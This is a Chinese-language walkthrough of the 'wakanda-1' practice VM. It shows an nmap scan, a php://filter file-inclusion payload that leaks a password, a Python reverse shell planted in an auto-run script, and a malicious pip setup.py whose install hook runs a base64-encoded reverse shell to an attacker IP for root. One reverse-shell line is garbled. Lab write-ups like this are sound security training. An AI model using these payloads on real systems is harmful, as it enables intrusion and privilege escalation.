免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
聚合网络安全,存储安全技术文章,融合安全最新讯息
0x01 信息搜集
首先扫描靶机的IP地址
端口扫描
nmap 192.168.1.8 -sV -v
指纹识别
访问主页
发现网站的制作者
0x02 漏洞挖掘
查看网页源代码,fr是法国,lang是语言
Get提交lang的值为fr,页面就变成了法语的
提交参数然后改变了页面的文字,那么我们可以尝试是否有文件包含漏洞
php:// 是一种协议名称
php://filter/ 是一种访问本地文件的协议
/read=convert.base64-encode/ 表示读取的方式是base64编码后
resource=index.php表示目标文件为index.php
于是我们构造payload,成功读取到base64编码后的index文件
?lang=php://filter/read=convert.base64-encode/resource=index
将获取到的信息进行base64解码,找到了一个密码
扫了目录没有发现后台,那么这个密码可能是靶机的登录密码
于是尝试登录
只是一个Python的shell
生成交互式shell
找到第一个flag
0x03 操作系统提权
在/home/devops发现了flag2,但是没有读的权限
查看属于devops用户的文件
Devops所属的文件当前用户对他有读写权限
于是我们在里面写入一个bash,用来获取devops的shell(该程序在开机后会自动运行)
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.64444
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
保存后重启靶机,得到反弹的shell
生成交互式shell,查看flag2
还有一种方法,不需要拿用户的shell,由于脚本每隔五分钟运行一次。可以直接在脚本里写入把flag输出到文件里的代码
查看devops用户能够免密sudo的文件
在网上查找资料找到了exp
https://www.root4loot.com/post/pip-install-privilege-escalation/
from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
def run(self):
install.run(self)
RHOST = '192.168.1.6'
reverse_shell = 'python -c "import os; import pty; import socket; lhost = '%s'; lport = 5555; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv('HISTFILE', '/dev/null'); pty.spawn('/bin/bash'); s.close();"' % RHOST
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)
setup(name='FakePip',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='https://github.com/0x00-0x00/fakepip',
author='zc00l',
author_email='[email protected]',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})
按照用法将该内容写进setup.py,上传到/tmp目录下。(反弹的devopsshell不好操作,我们用ssh mamadou用户)
写入exp(由于有执行权限的devops用户是用nc反弹出来的shell,用了4444端口。我们这里就用5555端口)
执行
sudo -H /usr/bin/pip install . --upgrade --force-reinstall
成功接收到反弹的root权限,拿下flag
靶场下载地址
https://pan.baidu.com/s/1_Uottec15kFygfOUt1NaGQ
提取码:p8h7
本文始发于微信公众号(暗魂攻防实验室):【渗透测试】wakanda-1通关手册
评论